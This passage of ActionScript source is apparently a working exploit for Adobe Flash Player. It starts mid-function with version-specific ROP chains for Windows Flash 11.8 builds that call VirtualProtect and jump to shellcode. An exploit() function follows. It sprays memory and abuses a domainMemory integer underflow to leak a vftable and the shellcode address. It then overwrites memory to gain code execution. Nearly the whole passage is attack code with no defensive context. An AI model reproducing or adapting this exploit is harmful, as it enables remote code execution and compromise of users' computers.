payload.position = 8;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
|
||
|
|
payload.position = 0x40;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
|
||
|
|
payload.position = 0x50;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(0x40);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,8,800,97":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 129165844);
|
||
|
|
_local_5 = (vftableAddr_copy + 16904192);
|
||
|
|
payload.position = 8;
|
||
|
|
payload.writeUnsignedInt(vftableAddr_copy);
|
||
|
|
payload.position = 16;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 117625919));
|
||
|
|
payload.writeUnsignedInt(-1810746282);
|
||
|
|
payload.writeUnsignedInt((scAddr + 76));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 122565891));
|
||
|
|
payload.position = 44;
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 0x0400));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 123362382));
|
||
|
|
payload.position = 80;
|
||
|
|
payload.writeUnsignedInt((scAddr + 192));
|
||
|
|
payload.position = 112;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 32365));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 11760520));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1117213));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 3721232));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 8274178));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
case "win 11,8,800,50":
|
||
|
|
vftableAddr_copy = (vftableAddr_copy - 12936000);
|
||
|
|
_local_5 = (vftableAddr_copy + 17149952);
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 404531));
|
||
|
|
payload.position = 64;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 2583617));
|
||
|
|
payload.position = 72;
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 7914140));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 4550));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 11780992));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 32684));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 142358));
|
||
|
|
payload.writeUnsignedInt((vftableAddr_copy + 1577816));
|
||
|
|
payload.writeUnsignedInt(scAddr);
|
||
|
|
payload.writeUnsignedInt(0x1000);
|
||
|
|
payload.writeUnsignedInt(64);
|
||
|
|
payload.writeUnsignedInt((scAddr - 4));
|
||
|
|
break;
|
||
|
|
default:
|
||
|
|
return (null);
|
||
|
|
};
|
||
|
|
return (payload);
|
||
|
|
}
|
||
|
|
|
||
|
|
public function exploit():Boolean
|
||
|
|
{
|
||
|
|
var vector_objects_entry_length:int;
|
||
|
|
var shellcode_byte = null;
|
||
|
|
var _local_6:uint;
|
||
|
|
var i:int;
|
||
|
|
var vftable_addr:uint;
|
||
|
|
var shellcode_address:uint;
|
||
|
|
var vector_objects_entry_idx:uint;
|
||
|
|
var length_vector_byte_arrays:uint;
|
||
|
|
var vector_byte_arrays:Vector.<ByteArray> = new Vector.<ByteArray>(0);
|
||
|
|
var vector_objects:Vector.<Object> = new Vector.<Object>(0);
|
||
|
|
var twos_object:Object = new <Object>[2, 2, 2, 2, 2, 2, 2, 2];
|
||
|
|
var vickers_byte_array:ByteArray = new ByteArray();
|
||
|
|
while (i < 0x0500)
|
||
|
|
{
|
||
|
|
vector_byte_arrays[i] = new ByteArray();
|
||
|
|
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||
|
|
i++;
|
||
|
|
};
|
||
|
|
vickers_byte_array.writeUTFBytes("vickers");
|
||
|
|
vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||
|
|
ApplicationDomain.currentDomain.domainMemory = vickers_byte_array;
|
||
|
|
vector_byte_arrays[i] = new ByteArray();
|
||
|
|
vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH;
|
||
|
|
length_vector_byte_arrays = i;
|
||
|
|
i = 0;
|
||
|
|
while (i < (vector_byte_arrays.length - 1))
|
||
|
|
{
|
||
|
|
vector_byte_arrays[i++] = null;
|
||
|
|
};
|
||
|
|
i = 0;
|
||
|
|
while (i < 0x8000)
|
||
|
|
{
|
||
|
|
vector_objects[i] = new <Object>[i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1];
|
||
|
|
i++;
|
||
|
|
};
|
||
|
|
// _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow!
|
||
|
|
// Example leak: 0275ef00 => 10c4f508 0000003b 00002326
|
||
|
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896))))
|
||
|
|
{
|
||
|
|
};
|
||
|
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896))))
|
||
|
|
{
|
||
|
|
};
|
||
|
|
vector_objects_entry_idx = (vector_objects_entry_idx >> 3);
|
||
|
|
if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896))))
|
||
|
|
{
|
||
|
|
};
|
||
|
|
|
||
|
|
// No success
|
||
|
|
if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length)
|
||
|
|
{
|
||
|
|
vickers_byte_array = null;
|
||
|
|
vector_byte_arrays[length_vector_byte_arrays] = null;
|
||
|
|
i = 0;
|
||
|
|
while (i < vector_objects.length)
|
||
|
|
{
|
||
|
|
vector_objects[i++] = null;
|
||
|
|
};
|
||
|
|
return (false);
|
||
|
|
};
|
||
|
|
|
||
|
|
i = 0;
|
||
|
|
while (i < vector_objects.length)
|
||
|
|
{
|
||
|
|
if (i != vector_objects_entry_idx)
|
||
|
|
{
|
||
|
|
vector_objects[i] = null;
|
||
|
|
};
|
||
|
|
i++;
|
||
|
|
};
|
||
|
|
// Use underflow to leak shellcode address
|
||
|
|
if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896))))
|
||
|
|
{
|
||
|
|
};
|
||
|
|
shellcode_address = (shellcode_address + 0x1300);
|
||
|
|
var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address);
|
||
|
|
if (rop_payload == null)
|
||
|
|
{
|
||
|
|
return (true);
|
||
|
|
};
|
||
|
|
var j:uint;
|
||
|
|
var shellcode_length:uint = shellcode.length;
|
||
|
|
var shellcode_byte_array:ByteArray = new ByteArray();
|
||
|
|
shellcode_byte_array.endian = "littleEndian";
|
||
|
|
while (j < shellcode_length)
|
||
|
|
{
|
||
|
|
shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1)));
|
||
|
|
shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16));
|
||
|
|
j = (j + 2);
|
||
|
|
};
|
||
|
|
vector_byte_arrays[length_vector_byte_arrays].position = 0;
|
||
|
|
vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian";
|
||
|
|
vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload);
|
||
|
|
vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array);
|
||
|
|
// Use underflow to overwrite and get code execution
|
||
|
|
if (li16((_local_6 + 1)) != 114)
|
||
|
|
{
|
||
|
|
si32((shellcode_address + 1), (_local_6 - 244));
|
||
|
|
};
|
||
|
|
vector_objects[vector_objects_entry_idx][1][0];
|
||
|
|
return (true);
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
}
|
||
|
|
}//package
|